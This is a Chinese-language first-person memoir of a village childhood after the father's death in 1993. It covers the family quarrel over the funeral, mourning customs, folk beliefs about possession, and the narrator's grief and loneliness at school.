我妈妈说:“你个养汉头将的!家军是恁哥吧?是恁娘将的吧?你怎不让他的棺材搁在恁家来的?你知道有忌讳你还让搁俺家里搭灵棚啊。俺三个小孩儿还没长大,俺娘儿四个不怕有什么忌讳啊?是你有意给俺使坏的啊!” “妈了个逼的!我揍死你个养汉头女人!”我三叔窜过去要打我妈妈,旁边的文利大爷拉着我三叔。 “你这是干什么的,三兄弟!恁哥还没下湖呢,你就打恁嫂子啊!你不看三个小孩儿的面儿,你不看恁哥的面儿啊?”文利大爷说。 我三叔被文利大爷拉着,没能打到我妈妈:“不是有文利大哥讲情,我今天非把你搁这儿,我让你给俺哥陪葬!俺哥都是为了养活恁娘几个才死在外头的!” “三兄弟,你这说的什么话?谁家男劳力不出去干活儿啊?家军不出去干活儿,三个小孩儿吃什么喝什么?”文利大爷说,“恁哥不在了,你不帮着操持安葬,好让恁哥安心下湖,你怎么还跟恁嫂子咯咯吱吱地闹的?你这个时候还能一点儿都不讲究吗?你千不讲万不讲,你讲恁哥。” 我三叔说:“凭什么搁俺家来的,他的赔偿款俺又没拿一分!谁使了俺哥的赔偿款,就把俺哥的棺材搁她家来!” 我妈妈说:“家军的赔偿款是人家给俺三个小孩儿的!谁也别想使一分!谁想使俺三个孩子的赔偿款,谁丧尽天良!老天会照应!” 我三叔跟文利大爷说:“俺哥是为了他娘四个死在外头的,不管怎样,得让俺哥进家。不让俺哥进家,这事儿说不过去!我是不同意!” 妈说:“三兄弟啊,你说的也不对,我说的也不对。咱去问有年纪人儿,看看老娄奶奶怎么说。”我妈妈把我爸爸的骨灰盒搁在我家西墙外,就去问老娄奶奶。 老娄奶奶已经睡觉了。我妈妈在墙外,隔着院墙喊:“大奶奶啊,我想问问你,家军是死在外头的,外丧能进家吗?” 老娄奶奶隔墙回答:“孙媳子啊,外丧不能进家,外丧进家,主他的大人小孩不好。你就在恁家西墙外搭个灵棚!” 我奶奶去找了大队干部战海,她想让战海来威胁我妈妈,让我妈妈被迫同意在我家堂屋里搭灵棚。 战海来了,跟我妈妈说:“大嫂子啊,俺大哥死了,你怎么不让俺大哥进家的?” 我妈妈说:“大兄弟啊,外丧不能进家。恁大哥死地太惨了!太烈了!我听《杨家将》里说的,外丧进家主他家大人小孩不好。” 战海说:“《杨家将》那是戏,哪能当回事儿。你得让俺大哥进家哎。” 我妈妈没办法了,她就对战海说:“大兄弟啊,你要是非让我搁家里搭灵棚也行。这样吧,我抱着家军的骨灰盒,三个小孩儿站在我身边儿。俺娘四个儿一块儿进去,恁找一辆五菱机子来,把俺家的屋推倒,把俺娘四个也埋上!我就同意!” 战海听了我妈妈的话,只能作罢。 那天晚上,我爸爸的骨灰盒刚到家,战海对我们娘四个还是心存同情的。我三叔和我奶奶的意思是,战海大叔把我妈妈打一顿就好了,这样,我妈妈就屈服了。可是战海大叔没有打我妈妈。 这个结果,让我三叔跟我奶奶失望了。 当晚,我家西墙外搭起了灵棚。我爷爷奶奶家其实就在大街上,我爷爷奶奶跟我三叔不让在他们家门口儿搭灵棚,他们也是怕有什么忌讳。 我问我我妈妈:“妈妈,你怎么不让俺爸爸进家的?” 我妈妈说:“恁爸爸是少亡,死得太武了,怕他灵生大。再说,白茬子棺材,你不害怕啊?咱往后夜里还能在里头睡觉吧?恁三叔让恁爸爸进家,那是因为不是他家。恁爸爸是他大哥,他怎么不说把恁爸爸的棺材搁南荆堂他家的?你问问恁奶奶,恁爸爸是她大儿,她同意吧?人家都懂!人家是装不懂的!都想趁着恁爸爸死,故意使坏,想豁咱的汪子的。” 我的同学帮我请了假,我就在家里为我爸爸守孝。老娄奶奶也来主事。她帮着破孝,给来烧纸的亲戚撕孝布。男的戴孝帽子,女的戴孝手巾。我们三个穿着孝衣。我弟弟戴着孝帽子,我围着长长的孝手巾。我是孝女,所以我的孝手巾最长了,我在脖子里围了好几圈儿还是长长的。 夜里寒凉,我妈妈跟我说:“你回家睡觉去吧。把大门儿链子从里头挂上,回我自己开。” 我说:“我不要搁这儿守着吗?” 我妈妈说:“你是小孩儿,你该睡觉睡觉。恁弟弟是孝子,按理说,应该光头光脚的。天冷,他太小了,才六岁。我就给他穿着鞋,搁鞋面儿上缝上孝布。” 是的,我妈妈很英明很伟大。她爱她的孩子,她的孩子的冷暖是第一位的。她不盲目地遵从所谓的孝道和礼节。她也不头脑昏昏然地全然听凭别人的主使,她有她自己的脑子和主张。这一点,我非常佩服我妈妈。 “那妈妈,你困了你也去睡觉。”我跟我妈妈说。 “俺知道。俺心里有数!俺不学着人家把身体给葬送喽。俺还有恁姊妹仨来。”我妈妈说。 那几天,我穿着蒙着白布的鞋子,拖着长长的孝布,陪着我妈妈给我爸爸守孝。 没人儿的时候,我妈妈跟我说:“恁二爷爷一家子跟恁奶奶恁三叔一心。都是想豁咱的汪子的。人家料定恁妈妈太年轻了,守不住。人家故意趁着恁爸爸的丧事儿,好使劲儿把咱家的钱花花。菜、饭,孝布,都是福林去买的。” 到了饭时,我妈妈让我去我奶奶家吃饭。 “你去恁奶奶家吃饭去吧。都是咱的钱买的。恁奶奶家没出一分。”我妈妈跟我说。 我问她:“妈,你不去吃饭吗?” 她说:“你不要管我。你去吃吧。” 我拖着长长的孝手巾,穿过我家门前的小巷,走过艳飞大姐家门前,右拐一点,就是北荆堂的大街了。我围着长长的孝手巾,走在北荆堂的大街上,我觉得我的世界从此变了样儿。那天的天光亮堂堂的,我的孝手巾也白花花、亮堂堂的。不知道是天光映白了我的孝手巾,还是我的孝手巾映白了那天的天光。 来吊孝的亲戚朋友都去我奶奶家吃饭。我妈妈出钱。因为我家穷,我爸爸又是少亡,没有大办。我家的饭菜,就是把叫作“春不老子”的青菜,跟猪肉、豆腐、粉条子一起煮了,一人一碗,吃的是大馒头。这些肉、菜,还有孝布,都是我妈妈出钱,我二爷爷家的福林大叔去采办的。 奶奶家的天井里、屋里,都有一桌一桌的人在吃饭,我爷爷也被众星捧月地围坐在中间。他的跟前是一包拆开的甜甜的白白的细果子,他跟众人一起喝着他心爱的酒,跟人家高谈阔论,风光无限。 “俺大哥死的时候,我知道。那天晚上,我正搁家来吃饭,头上的电灯突然炸了,我心里一阵儿难受。我就知道,俺大哥出事儿了。”海良说。 “大哥!你也别难过!家军寿限短!”海良他爹安慰我爷爷说。 我没看出来我爷爷有什么难过。这个他从小就不怎么疼的大儿子死了,他有什么难过。我也没怎么难过。我可能是太小了,跟我弟弟妹妹一样,不知道难过。也可能是我本来就跟我爸爸没什么感情。我压根儿就不难过。说来也是,对于一个本来就不太受爸爸待见的孩子来说,爸爸死了,还有妈妈,我难过什么。 有人给我盛了一碗菜,递给我一个白馒头,我端着碗吃饭。我的碗里没有几块肉,有的是猪肉冒出来的猪油。还别说,“春不老子”烩猪肉粉条子烧的大锅菜,就着大馒头,还是很香的。 我吃完了饭就回到北荆堂陪着我妈妈。我没有见我妈妈去吃饭,我不知道我妈妈那几天是怎么吃的。 我爸爸的骨灰盒先是放在桌子上,供人祭奠。我跟我妈妈一直守在我爸爸的棺材旁边,为他烧纸,等着来吊孝的人。来我家为我爸爸烧纸的人很多,我奶奶跟我三叔没怎么去过。 种枣树、放山羊的题法老爷爷也来了。他蹲在地上,为我爸爸烧上几捏子黄纸。按理说,长辈是不会来给晚辈烧纸的,题法老爷爷跟我家房头也不亲。可是,题法老爷爷还是来了。这是他对我爸爸的高度认可。南北荆堂里,没几个年轻人值得他这么做。 烧纸是在一个火盆儿里,那是死了人以后烧纸专用的“老盆”,是在出棺前由孝子顶在头上摔掉的。 我爸爸要入殓了,我妈妈从骨灰盒里拿出来一个白色的布袋子。 老娄奶奶把一个小扫把递给我说:“给恁爸爸扫扫屋当门”。 我就拿着小扫把,去扫扫棺材底。 “给恁爸爸铺铺床。”老娄奶奶说。 我就跟着我妈妈一起,把我爸爸的被子和几件衣裳铺上去。 接着,我爸爸的骨灰,就被倒进了棺材里。灰色的粉末里,有几个小小的白白的碎骨。这就是我的爸爸了。我爸爸就这样被装进了棺材里。 妈妈给我爸爸扎了摇钱树、白马,放马的小子——来旺儿,还有一对母鸡。这些都靠在我家的西墙根里。 我妈妈说:“恁爸爸那天收工晚,没吃饭,我给他扎了一对儿母鸡,好下蛋给恁爸爸吃。” “恁都太小了,我怕恁长大以后找不到恁爸爸的坟子,我让人给恁爸爸立了一块碑。” 我爸爸的葬礼没有“路祭”,他太年轻了。也没有唢呐,没有吹吹打打。我爸爸就这样被送走了。那个烧纸的“老盆”是怎么摔的,我也没看到。我弟弟那时候还小,是别人教着他摔的吧。我妈妈说,“老盆”不是随便摔的,谁摔“老盆”谁擎受家业。 远远地,我看到几个壮劳力在庄西石塱里挖坑了,他们挖坑来埋我爸爸。我是闺女,不能去坟上。我弟弟被人抱着去了。这个幼小的孝子,全程不知道喊也不知道哭。 我爸爸的坟前立着一块小小的石碑,那石碑有二尺长,一尺宽。 碑文很简单,上面刻着:“宋家军之墓,1958——1993”。 2. 爸爸还会回来的 这以后,我们的爸爸就长眠在这里了。坟墓并不大,也不可怕,就在爷爷家的祖坟圈子里,那里,有我的老爷爷、老奶奶,和一个早夭的姑奶奶。一棵槐树为他们遮着阴凉。地里,种的是山芋。 我后来就又去上学去了,脖子里还戴着长长的孝布,脚上的鞋子也是白布蒙着的。我虽然回到了学校,但是内心是孤独的。我乍回来,遭遇了丧父之痛,是没有办法跟谁说道的。课间,我就一个人站在角落里。无论是在我自己看来,还是在他们看来,我都不能再去跟她们一起玩耍了。我一个人,不知所措地呆呆地站在紧闭地后门儿上,看着她们还是像以前那样说话。我知道,我从此与以前的我不一样了,我也从此跟她们不一样了。 不是人的心要变,是因为人的经历在变。人的心不是毫无根据地改变,它是跟着人的经历在改变。有人看到遭遇过痛苦,因而变得不合群的人,总是说他们自卑。其实,我觉得这倒不是什么自卑。她并不是看轻自己,她确实因为遭遇了痛苦,而不像往日那么快乐。但是她不想合群,更深层的原因,是她在经历了悲欢离合、生离死别以后,她知道,她已经跟别人不同了。她死了父亲,几乎成了孤儿,她怎么可能还能原原本本地跟别人一样呢。她跟别人相比,她失去了半边的天啊。她的家跟别人的家相比,又怎么能一样啊,她家的顶梁柱没有了啊。她的母亲又怎么会跟别人的母亲一样。她的母亲,这以后,要一个人把所有的担子来背。是的,全都不一样了。 失去了父亲的人,不再那么爱说爱笑,叽叽喳喳,是因为她明白了,原来,人世间并不是只有笑语喧哗,并不是只有快乐玩耍,还有许多人未曾体会过的伤痛。这种伤痛,你只能独自体会。一个人,在体验过身世浮沉以后,才知道,人生里,那些快乐是浅薄的,是虚幻的,只有痛苦,只有那些捶在你胸口的伤痛,是真实的。在这真实的伤痛面前,表面的快乐是多么虚无,多么不真实。 我那时上小学二年级,我至今还记得,课间,我一个人站在教室紧闭的后门门口儿,看着她们欢笑或是打闹。我爸爸死了。她们也知道,我跟她们不是同类了,她们也不会凑过来跟我说什么。我很孤独很尴尬,我也无心参与她们的说笑和玩耍。深味于痛苦的人,变得不再合群,这与其说是自卑,不如说是一个历经了沧桑的人,在冷眼旁观,这些未曾经历过命运的苦痛安排的人。 我从九岁就没有爸爸了,我被戴上了没有爹的孩子的帽子,同时戴上的,还有一顶贫困生的帽子。人世间这许多的压力,我从九岁就开始扛起。之后是别样的名堂的帽子,别样的名堂的压力。我就这样扛了大半辈子。 人这一生,会有很多很多的帽子,比如农村人,大龄剩女,爱吵架的泼妇,离婚的二手货,没用的窝囊废软柿子。等等这些,我已经扛地很习惯了。 过了一阵子,我妈妈在西屋里间收拾着衣裳说:“恁爸爸厂里给他买的那件皮袄,我给他换下来了。皮袄里头全是黄毛儿。他查不清那些毛儿,就不能再托生人。非得等到他把那些毛儿查清了,他才能再托生人。入殓都是有讲究的,不能穿有扣子的衣裳,不等穿有带子的衣裳。‘扣子’‘扣子’,‘带子’‘带子’,对小孩儿不好。我把恁爸爸衣裳上的那些扣子、带子都给剪下来了。” 我妈妈说的那件新皮袄就搁在西屋靠南墙的小床上。那是我爸爸以前睡的床。我爸爸死了以后在外头就火化了,没有在家里停息。我家也没有把我爸爸睡过的小床给扔了。我看了看人家厂里给我爸爸买的那件新皮袄,那是人家在我爸爸死后为他买的,那是人家给我爸爸穿了给我们家属看的。可是那时候我并不知道这些。或是那时候我隐约知道这些,可是饥寒交迫让我顾不得这些。我只看到那件皮袄很好看。好像是人家厂里那么大方地送给我家的一份财产。 那是一件外表浅绿,里面儿是黄毛的厚厚的棉袄。因为我爸爸死的时候还是有些寒冷的春天。 我跟我妈妈说:“妈妈,俺爸爸的这件皮袄留着以后给我行吗?” 我妈妈说:“行!你想要就给你。儿擎家业女擎衣。娘家是儿子的江山,闺女的吃穿。” 我那时候还真以为我要了件棉衣,就是要了份儿家产。我那时还没有想过,就我们那样的家底儿,可还有什么家业。 我三岁的妹妹很快就忘记了自己还有个爸爸,只有我和弟弟还记得。 我说:“我看到屋里间咱爸爸的洋车子,我就觉得咱爸爸还能回来。” 我弟弟也说:“咱爸爸说不定哪天就回来了。铁拐李不是借尸还魂吗,咱爸爸也会借尸还魂吧?” 我妈妈也说:“要是恁爸爸能借尸还魂就好了。借福伦的魂!借他工友题平的魂!” 我说:“题平大爷说俺爸爸是自己摔死的。谁知道他说的是真是假啊。说不定是他把俺爸爸害死的呢。” 我妈妈说:“我做梦梦到恁爸爸,我问他,家军啊,你是怎么死的?他就跟我说了一句话,题平!” 我问妈妈:“俺爸爸跟你说,他是被题平害死的吗?” 我妈妈说:“谁知道来?你说说。我当时就激灵灵地醒了。” 我说:“俺三叔那么坏怎么不死的,就俺爸爸死了。” 我妈妈说:“谁让他不争气的?他娘他三兄弟他二姐都不喜他,他偏偏就死了。净往人心眼儿里碰!人家都活地好好地的?人家都不死的?” 晚上,我妈妈抱着我妹妹,我和弟弟跟着我妈妈一起进堂屋门儿。我妹妹被我妈妈抱在怀里,一看到黑洞洞的堂屋门儿,她就开始哭。 我妈妈以为我妹妹小,看到了脏东西,就大声骂道:“乖孩儿不哭,谁敢吓唬咱,妈妈就打他!打死他!” 我家在庄西头,大门前鲜有人行。空阔的院子,到晚来,竹林摇曳,树影婆娑,两扇黑漆漆的木门,我看着也有些害怕。 我家西墙外,曾经是我爸爸回家的必经之路。以前,我们听见爸爸的自行车铃铛声,就知道他推着他的弯把儿、带大梁的洋车子回家了。我爸爸衣着很朴实干净。他常常穿着绿色的发旧的中山装,戴着发旧的军绿色的帽子。他的后脖儿领儿里露出衣服上自带的白色衣领,衬着他越发斯文秀气。自从他去了枣庄石料厂干活儿以后,他的容貌也发生了很大的变化。他的脸被晒地黑黄了,他的打扮也变了,他回家的时候,身上穿件红色的背心,头上戴个“提篮头儿”,我不喜欢我爸爸戴的“提篮头儿”。我那时候还不知道那个是头盔,是来保护他的安危的。 我爸爸不忙的时候去石料厂干活,农忙时节就回家帮忙刨山芋、割麦子。爸爸一回来,我弟弟就缠着他。有一次,他的手被砸破了,用布包扎着,疼地面容都变了。可是,看到我弟弟,他还是慈爱地抱起他。我幼小的弟弟就被他抱在怀里玩耍。我是家里老大,又是女孩儿,我不会缠着他跟他撒娇的。但是,看到他回家,我也是高兴的,温暖的,踏实的。可是这以后,我们的爸爸再也不会回家了。很多次,我都像听到了他洋车子的声音,以为是他回来了,可是没有。西墙外,爸爸回家的方向,我向往了很久。爸爸为什么就不小心让自己死了呢。 我爸爸去世以后,问我家讨债的人都来了。我妈妈把放在梁头上小箢子里头的借条拿出来,一家一家地还债。有的欠钱,是我爸爸生前就还过的,人家还来要债。 我妈妈就跟人家说清:“大哥,我记得家军在的时候说过,他确实是借了你的钱。可是,他也跟我说过,后来他又还上了。你不记得了吗?年前,压山芋秧子的时候,家军一发了工钱,就把钱还给你了?” 我妈妈这样一说,人家就说:“哦,是吗?那是我记错了。” 我妈妈回头跟我说:“你说说,人啊,可得长个心眼儿。多亏了恁爸爸跟我说了,多亏了我记下了。要不然,恁爸爸死了,人家还得跟咱赖账来。” 我家没有压水井,我妈妈每天早上四五点钟就去东院题美老奶奶家喊开她家的大门,去她家里挑水。 “二奶奶啊!二奶奶!开门!二奶奶!” 题美老奶奶听见了我妈妈的喊门声,就起来给我妈妈开了门。 题美老奶奶睡地癔了懵症地,还顾着跟我妈妈搭话儿:“起的恁么早啊,三姐!” “我起得早,二奶奶!要烧茶!还要烀猪食喂猪!” “你夜里听到恁家洋铁桶响了吗?” “没有啊,二奶奶!” “恁家洋铁桶一到夜里叮了当啷的,可响了。可能是家军回来了。” “是吗?俺没听到。” 有时候,我妈妈要烙煎饼了,她舍不得花钱去张庄磨坊,她一大早就端着两盆山芋干子,喊开题美老奶奶家的门,去她家推磨。我那时有九岁了,知道我妈妈推磨辛苦,我也主动提出来去帮我妈妈推磨。 一大早,题美老奶奶一家人都还没有起床。我和我妈妈就在题美老奶奶家西窗户下头的石磨上推磨了。石磨是圆的,很重。我和我妈妈架起磨杆子,横在肚子上,绕着磨盘转着圈儿推磨。转了一会儿,我有些头晕,我妈妈就让我回家去睡觉,她自己推。 爸爸“五七”的那天晚上,我跟着我妈妈一起去给我我爸爸圆坟。大家围着我爸爸的坟子绕圈走着,我妈妈给我爸爸买的很多扎纸被点燃了,扔在坟子上烧了起来。我妈妈说,“五七”的时候,死了的人在望乡台上看着来祭悼他的亲人,他才知道自己已经死了,他以后也就不再回家了。“五七”以后,还有一个“周年纸”,那次,我还是可以上坟的,等到“周年纸”烧完以后,我就不能去给我爸爸上坟了,因为我是女孩,女孩长大出嫁了是人家的人,不能给老的上坟。 过了一段时间,题美老奶奶家里添丁进口了,她的二儿子找到了家属。题美老奶奶的二儿子因为老实本分,一直没有结婚。他跟我爸爸妈妈年龄差不多大。他找的是杜村的一个失了丈夫的女人,带着两个男孩子。我路过题美老奶奶家的时候,看到了那个女人,她年纪跟我妈妈差不多大,干净利落,穿着一件紫色的大褂子,剪着一头短发,站在天井里,拿着一个细长的煎饼在啃。她跟前的锅里,炒的是香香的辣椒土豆丝。我头一回觉得辣椒土豆丝是那么好吃。那种香香的味道,我妈妈是断断炒不出来的。 有时候,我从她家门前经过,看到她煎饼里卷的是红红的“人造肉”。“人造肉”就是豆腐皮子,跟红萝卜一起炒,炒地红红的,可好吃了。 可惜我妈妈不会买“人造肉”来给我们吃,她也炒不出来那么好吃的味道。怎么我们家样样不如别人呢,连炒个菜都没有别人家的香呢。 小时候,我见过的人家吃的、我家吃不上的饭菜,都成了我一辈子的记忆。就像朱元璋对他逃难时的“珍珠翡翠白玉汤”的念想一样。小时候吃不上的菜,长大后,再吃那道菜的时候,那菜的样子和味道,一定要照着小时候的样子去烧,那才是真的好吃,那才叫有味道。 我吃完饭沿着去张庄的小路去上学。一路上,我不停地打嗝。我打着嗝走进了教室,张益华正攥着一截子煎饼在吃。 “咦!宋大省,你偷人家辣椒子吃啦!”张益华高声质问我说。 “没有!我没偷人家辣椒子吃!”我激动地说。 “你就偷人家辣椒子吃啦!我听人跟我说啦!”张益华说。 “你听谁说的我偷人家辣椒子啦?咱去问她去!走!”我生气地说。 “咦?你不打嗝了?你打嗝好了?”张益华歪头看着我,一张黑黑亮亮的脸蛋儿笑着说。 “咦!我还真不打嗝了!”我也笑着说。 “打嗝的时候,旁人一吓唬就好了。”张益华说。 “还是真事儿来!我真的不打嗝儿了来!”我惊喜的说,“你搁哪儿知道这个好办法的?”“俺妈妈跟我说的!”张益华说,“日九九日念什么你知道吧?” “不知道!” “念旮旯!”张益华说,“来去不出头儿念什么?” “不知道!” “念gu yong!”张益华得意地说。 张益华手里还剩下一截没吃完的煎饼,她看着我,真诚地跟我说:“我煎饼里卷的南瓜猪肉,你吃吧?给你吃!” 我当时真地不怎么想吃,我也觉得南瓜配猪肉,也没有多好吃。 我同样真诚地跟她说:“我不吃。” 她以为我在跟她客气,继续跟我说:“吃吧。没事儿。” 我说:“我真不吃。” 我们当时学了《渔夫和金鱼》。有一节课,老师不在,我就跟张益华写纸条开玩笑。 我用蓝色的圆珠笔给她写一个:“你这傻瓜,真是个老糊涂!不敢拿金鱼的报酬!哪怕是要只木盆也好,我们的那只已经破得不成样啦。” 她看了,也立刻写一个纸条,让人家传过来骂我。 我拆开纸条一看,上面写的是:“你这傻瓜,真是个老糊涂!真是个老笨蛋,你只要了只木盆。木盆能值几个钱?滚回去,老笨蛋!” 我一看她接上茬儿了,心里特别高兴。 我继续写一个来骂她:“怎么啦,老婆娘,你吃了疯药?你连走路、说话也不像样!你会惹得全国人笑话。” 我写完,把纸条传给她,自己趴在桌子上笑得眼泪都出来了。我笑得合不拢嘴儿,转过头去,向我的左后方看去,给我们传纸条的人一脸的莫名其妙,张益华还在奋笔疾书,正在对我展开猛烈的攻击。我棋逢对手,沉浸在互相攻击的快乐里,开心地不得了。心里想,也就是张益华,要是别人,才不会配合我玩儿这个互骂游戏呢。 等她的纸条儿到了,我赶紧打开,一看,上面写着:“您好,高贵的夫人!你的脖子上围满珍珠,两手戴着嵌宝石的金戒指,脚上穿了双红皮靴子,这回您的小心总该满足了吧。” 我也乘机再写一个回击:“你这傻瓜,十十足足的老糊涂!老混蛋,快滚!” 我和张益华就这样用课文里头的句子互骂,谁也不会生气,谁也都在继续。那种棋逢对手的感觉真的是太棒了。 我们正在骂地高兴的时候,班主任牛老师拿了一张表格进来了。 “来!把这张表儿填上。”牛老师说。 我们要填籍贯,要填父亲母亲,要填父亲母亲的工作单位。 牛老师说:“籍贯就填山东苍山,父亲母亲的工作就填务农。不会写就照黑板上抄!” 我写完了母亲,不知道怎么写父亲。因为我的父亲死了。 我正在看着表格为难,牛老师走了过来:“没有父亲的就不要写了。宋大省没有父亲了,还怎么写呢。不写了。”我的滚烫的眼泪滚滚地落下来了,我感激牛老师对我的理解,又为我自己感到难过。 那天,大姑来奶奶家走娘家。晚上,奶奶家里亮起了橘黄色的电灯光。我大姑生就本分,嗓门儿不大,说话闷闷的,不太爱讲话。她原本坐在我对面,用一根铁条子,捅她自行车辐条上干掉的泥巴。明天,她就要回去了。 突然间,我大姑抽噎了起来,有些伤心的样子。原来,大姑被我爸爸的魂灵附体了。 我奶奶把我们三个带到我大姑跟前去。好几个女人围着我大姑,对着她,告诉他,他的儿女都好好的,让他放心,赶紧回去吧。可是,那附体的魂灵还是不肯走。 我奶奶找来会“针”的老嫲嫲,她们密匝匝地围在一起,用针扎我大姑,用桃条子抽我大姑,掐她的人中,蜷她的胳膊腿儿。 我那时候很是好奇,也想跑过去看热闹。可是,那些密匝匝的人墙遮挡着我,我根本看不见。 “哎哎哎!回来了回来了!”那群女人吆喝着。 我爸爸走了。我大姑一个老牛大憋气回来了。她的额头上被那些女人给掐地“针”地红红的。 不久,又听说,北荆堂的一个人被我爸爸给附体了。我奶奶拿了根结结实实的鲜鲜的长长的桃条子,站在大街上,像太监甩动净鞭一样,甩来甩去。她在试那净鞭的威力。她蠢蠢欲动,跃跃欲试。她要拿出老娘的架势,去北荆堂镇压她大儿子去了。 我觉得我奶奶很正义很威武很大义灭亲,回到家,就把这事儿跟我妈妈说了。 我说:“妈妈,北荆堂一个人被俺爸爸附体了。” 我妈妈说:“你怎么知道的?” 我说:“我听俺奶奶说的,俺奶奶拿了根桃条子,要去抽俺爸爸的。” 谁知道,我妈妈说:“恁奶奶知道什么哎,光知道充能。” 我不明白,就问我妈妈:“她去帮人家驱鬼,不好吗?你怎么说她充能的?” 我妈妈说:“要是有头脑的娘知道这种事儿,人家喊她去,她都不去。恁奶奶‘七叶子’。生就的骨头,长就的肉儿。就知道充能儿。” 我还是不明白,就问我妈妈:“妈,你怎么说俺奶奶‘七叶子’的?” 我妈妈说:“她去抽恁爸爸,恁爸爸不疼啊!” 我这才想起来:“对哦,那魂儿也是俺爸爸啊。” 那魂儿是我爸爸,也是我妈妈的丈夫,也是奶奶的儿子啊。感情我妈妈是真的爱我爸爸,她疼她的丈夫不仅疼在了人世,还疼到了他在阴间的魂儿。而我的奶奶,作为我爸爸的亲娘,她是不会知道这些的。 我骄傲地说:“妈妈,人家都说,俺爸爸灵圣可大了。” 我妈妈说:“大什么哎。真要是灵圣儿大的话,那些欺负咱的,他不去整去的?那些人都是信口开河,胡说八道的。恁奶奶信那一套!俺不信那些鬼吹灯!” 夏天,山芋秧子长长了,拖延在我爸爸的坟前,粉色的根芽扎在地上。爷爷带着我们来翻山芋秧子。我爸爸的坟子默默地在地里看着我们。 “人家的坟上都长了草了。俺爸爸的坟上还没长草。”我说。 “恁爸爸刚死,哪有草。得等到落了草种子,来年才能长草。”我爷爷说。 “俺爸爸坟子上的土都跑下来了。”我说。 “上回我看到了,我给往上堆了堆。要不还得往下掉。刮风下雨的,能不落土嘛。”我爷爷说。 “俺妈妈说的,人家有想给咱使坏的,就在坟子后头,找个方位儿,楔个桃木橛子。不知道俺爸爸的坟子里有橛子吗。”我说。 “那谁知道。”我爷爷说。 “爷爷,你要是剜地的时候看到什么桃木橛子,你就给拔下来。”我说。 “嗯。”我爷爷说。 3.仁兄弟、狗臭屁 我奶奶家还是比我家热闹。我三叔还是经常盛排夜宴,跟他的一帮子仁兄弟把酒言欢。仁兄弟者,我不知道是什么意思,就是等同于亲兄弟吧。但是我三叔的这几个仁兄弟,好像除了在我奶奶家享受美味佳肴大吃二喝,其他时候,没见他们出现过。也许他们跟三叔一起打过架?我不得而知。 记得有一回他们来我奶奶家吃饭,大家都喜气洋洋,我奶奶炒了很多菜,他们七八个青壮年在桌上吃着、说着,场面很是热烈。我爷爷也被敬爱地夹在中间席位上坐着,喝着。结实也在,他的两颊是瘦的,嘴巴是长的。他喝地两脸通红,像个吃醉了的狼狗。他跟我奶奶叫姑奶奶,他平时也不怎么搭理我爷爷,现如今,他也一口一个“姑姥爷!姑姥爷!”地叫着。 我三叔跟他的仁兄弟大鱼大肉地轰轰烈烈地吃着喝着,我奶奶家的小厨柜里放着大半碗晌午剩的红萝卜丝渣豆腐。 我奶奶很温柔贤惠,她从菜橱里端出渣豆腐来,跟那群仁兄弟说:“恁看看,这是晌午炒的渣豆腐,恁吃吧?” 我疑惑我奶奶为什么要把上一顿的渣豆腐端出来。那群仁兄弟平时在家也是顿顿吃萝卜白菜,今天终于逮住机会在这里开了荤,谁还会吃这盘子剩了的渣豆腐呢。我奶奶在这大鱼大肉的宴席上,把我们上一顿吃剩的渣豆腐端出来,这岂不是露出了贫穷的真容,大大地煞了风景吗。谁会吃呢? “吃吃吃!姑奶奶端过来!”结实跟那几个小伙子热情地让她端上桌,放在一桌子山珍海味中间,他们说他们会吃的。 “前儿来,俺没有菜吃了,还切点儿豆饼,跟辣椒子一块儿炒炒,当豆钱子吃的。俺跟猪吃地一样!”俺奶奶笑着说。 “豆钱子好吃!姑奶奶!”桌上的仁兄弟仰着喝地通红泛着油光的脸附和我奶奶说。 我妈妈那次好像也在,她在天井里的磨台旁边看着我三岁的妹妹,我妹妹有些烦躁,在哭闹。我三叔,不知道是听了幼儿的哭声焦躁,还是难得地出于叔父的慈爱,他绅士般地向他那些仁兄弟竖起左手的三根手指:“我请三分钟的假!三分钟!”那些仁兄弟当然又体贴地准了假,继续他们的吃喝。 三叔走出屋门,来到我哭闹的小妹妹身边,像个温柔下来的太君一样,抱起我妹妹哄了两分钟,又绅士般地走进屋,去继续跟他的仁兄弟的宴席了。 后来,结实结婚了,我三叔必然是去帮忙。我奶奶带着我去吃八大碗。晚上,我奶奶带着我去结实的屋里看热闹。结实的娘也在,她穿着跟我奶奶一样的黑色的老棉袄,脸上带着跟我奶奶一样黑黄的枯老的微笑。 结实屋里的桌子上,放着一串红的绿的小电灯,像是一个一个刚结出来的小茄子。那些灯通上了电,红的绿的一闪一闪,煞是好看。 “那都是结实的仁兄弟买的。”结实的娘笑着说。我奶奶也笑着看。 结实结婚了,我奶奶前去庆贺。她那时候有没有想过,我三叔还没有结婚,我三叔还要不要结婚?我不知道我奶奶有没有为我三叔操过心。我那时候还不知道我三叔为什么还没有结婚。我那时候以为纯粹是因为我爷爷在跟着捣蛋作祟。 我那时候还没有想过,我三叔根本就没有屋。是的,他连个新房屋都没有。我爷爷奶奶不知道要为我三叔盖屋。要不是我爸爸自己去石塱起石头,我爸爸也没有屋,也娶不起媳妇。我二叔就是因为家里穷才背井离乡去东北的。我爷爷我奶奶表面的风光维持地很好,他们有亲朋故旧,狐朋狗友,你来我往,礼到亲香。自己的吃喝也维持地很好,今天包饺子,明天擀面条儿。只是不知道为自己的儿子积攒钱财盖屋,没有解决最根本的问题。如此说来,我爷爷奶奶真的是蒸不熟,煮不烂的,是不知道为自己的儿子做打算的。 我没见过三叔揍我爷爷,奶奶受伤的样子我是见过的。那天,爷爷打完奶奶,怕三叔揍他,他自己不知道一溜烟儿跑到哪儿去了。我不知实情,一大早,我照旧到了爷爷奶奶家。 三叔痛心又气愤地坐在饭桌前,看到我,大声呵斥我说:“恁爷爷去哪了?找去!”我本来就害怕我三叔,他这一吼,我吓得赶紧出了门儿。 一出门儿,我就看见了我奶奶,她袖着手,黯然神伤地朝我走来。那天,奶奶趿拉着一双大鞋,穿着黑色的大腰裤子,深蓝色的带大襟的褂子,头上戴着棕褐色的包头巾。她眼里噙着泪,上嘴唇破了,留下了一道绛红的伤痕。她趿拉着自己做的“老头棉鞋”,眼神直勾勾地,在大街上走着,像是在找谁,又像是失了神,谁也不找。 我看着奶奶,心里的害怕和担心超过了我对奶奶的心疼。奶奶并不疼爱我,我打小就知道,奶奶跟三叔是一伙儿的,我跟爷爷是一伙儿的。而我跟爷爷这边的实力显然是微弱的。 奶奶挨了爷爷的打,三叔雷霆暴怒,家里的氛围瞬间变得肃杀。爷爷跟奶奶闹架了,三叔加入了奶奶的阵营。这个家,这个我可以在里面玩耍、吃饭的家,瞬间变得阴暗了。爷爷不在家,我失去了依靠和温暖。说不定三叔还不让我去他家吃饭了,这对我来说,是很大的威胁。 